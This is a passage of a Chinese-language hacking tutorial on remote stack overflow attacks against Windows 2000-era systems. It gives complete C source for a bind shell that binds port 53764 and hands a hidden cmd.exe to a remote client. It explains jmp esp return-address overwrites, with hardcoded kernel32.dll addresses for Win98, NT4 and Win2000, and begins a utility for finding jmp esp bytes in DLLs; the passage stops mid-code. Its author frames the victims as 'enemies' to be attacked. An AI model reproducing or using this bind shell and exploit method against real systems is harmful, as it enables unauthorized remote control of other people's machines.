我們來研究windows系統下的遠程溢出方法。
我們的目的是研究如何利用windows程序的溢出來進行遠程攻擊。
如果對於windows下的緩沖區溢出不是很熟悉,請大家復習我前面的文章:
《window系統下的堆棧溢出》(IsBaseMagzine 20003)。
本文以及後續的《實戰篇》都是建立在該文基礎上的。
讓我們從頭開始。windows 2000 Advanced Server(Build 5.00.2195)
第一篇 《原理篇》
----遠程溢出算法
如何開一個遠程shell呢?
思路是這樣的:首先使敵人的程序溢出,讓他執行我們的shellcode。
我們的shellcode的功能就是在敵人的機器上用某個端口開一個telnetd 服務器,
然後等待客戶來的連接。當客戶連接上之後,為這個客戶開創一個cmd.exe,
把客戶的輸入輸出和cmd.exe的輸入輸出聯系起來,我們
遠程的使用者就有了一個遠程shell(跟telnet一樣啦)。
上面的算法我想大家都該想得到,這裡面socket部分比較簡單。和Unix下的基本
差不多。就是加了一個WSAStartup;為客戶開創一個cmd.exe,就是用CreateProcess
來創建這個子進程;但是如何把客戶的輸入輸出和cmd.exe的輸出輸入聯系起來呢?
我使用了匿名管道(Anonymous Pipe)來完成這個聯系過程。
管道(Pipe)是一種簡單的進程間通信(IPC)機制。在Windows NT,2000,98,95下都
可以使用。管道分有名和匿名兩種,命名管道可以在同一台機器的不同進程間以及不同
機器
上的不同進程之間進行雙向通信(使用UNC命名規范)。
匿名管道只是在父子進程之間或者一個進程的兩個子進程之間進行通信。他是單向的。
匿名管道其實是通過用給了一個指定名字的有名管道來實現的。
管道的最大好處在於:他可以象對普通文件一樣進行操作。
他的操作標示符是HANDLE,也就是說,他可以使用readFile,
WriteFile函數來進行與底層實現無關的讀寫操作!用戶根本就不必了解網絡間/進程間
通信的具體細節。
下面就是這個算法的C實現:
/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include <winsock2.h>
#include <stdio.h>
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
這段代碼是用來建立一個Tcp Server的,我們先申請一個socketfd,
使用53764(隨便,多少都行)作為這個socket連接的端口,bind他,
然後在這個端口上等待連接listen。程序阻塞在accept函數直到有
client連接上來。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
創建兩個匿名管道。hReadPipe只能用來讀管道,hWritePipe1只能用來寫管道。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
這段代碼創建了一個shell(cmd.exe),並且把cmd.exe的標准輸入用第二個管道的
讀句柄替換。cmd.exe的標准輸出和標准錯誤輸出用第一個管道的寫句柄替換。
這兩個管道的邏輯示意圖如下:
(父進程) read<---〔管道一〕<---write 標准輸出(cmd.exe子進程)
(父進程) write--->〔管道二〕--->read 標准輸入(cmd.exe子進程)
*/
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
/*
*/
return 0;
}
/***************************************************************************
*/
----shellcode疑難問題
下面來寫shellcode。針對windows系統緩沖區溢出的特殊性,shellcode有一些新的問題,
我采用如下辦法來解決:
1)跳轉指令地址的問題
因為在函數返回的時候,esp都指向返回地址後面的地址。(為什麼?因為esp在返回
後要指向的地址,就是父函數在壓完參數,准備執行call 子函數之前的堆棧頂。)
所以,我們的shellcode的開始位置,就是函數返回的時候,esp所指向的位置。因此,
使用jmp esp 就可以跳到我們的shellcode上來。
當然,這裡面作了一個假設,就是程序是由調用者來負責堆棧的恢復的。
匯編代碼就是這個樣子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C
但是,如果是由子程序來負責恢復堆棧,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我們的shellcode開始位置。它將指向shellcode+0c的位置。
事實上,當你在試圖發現敵人程序的一個溢出點時,這個數值(這裡是0C)是可以
很精確的發現的,因為你可以看到他的匯編原代碼呀!
為了解決這種情況下shellcode不能被正確執行的問題,我們可以在shellcode前面
加上0c個nop.
這樣,我們需要作的事情,就是用內存中一個jmp esp指令的地址,來覆蓋敵人程序的返回地址。
在內存中,當然有很多dll都會有jmp esp指令,我選擇了kernel32.dll裡面的指令,因為
這kernel32.dll是系統核心DLL,加載在前面,後面的dll安裝地址要隨前面dll的
變動而變動,為了通用性的考慮,采用KERNEL32.DLL。
那麼這些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址為:0xbff795a3
winnt4下(4.00.1381),返回地址為:0x77f0eac3
win2000下(5.00.2195),返回地址為:0x77e2e32a
以上地址,我們可以在測試的時候使用,但是,在真正對付敵人的時候,為了區別出
選擇哪一個地址,就需要首先摸清敵人的操作系統以及dll版本號。
jmp esp 地址如果不對,敵人的程序就會出現"無效頁錯誤"對話框,並且一定會當掉,
所以,在攻擊之前,必須通過一些蛛絲馬跡,判斷敵人的類型。
以下是測試時候使用的代碼:
#ifdef WIN2000
#define JUMPESP "x2axe3xe2x77"
#endif
#ifdef WINNT4
#define JUMPESP "xc3xeaxf0x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "xa3x95xf7xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敵人目標程序上的jmp esp地址。"
#endif
如果你有softice,可以直接在內存裡面搜ffe4。如果沒有,
綠色兵團的Backend 寫過一個小程序可以搜索user32.dll中的FFE4(jmp esp)串。
我把他改了一下,可以搜索指定dll中的FFE4。算法如下:
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
if(argc>1) {
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibra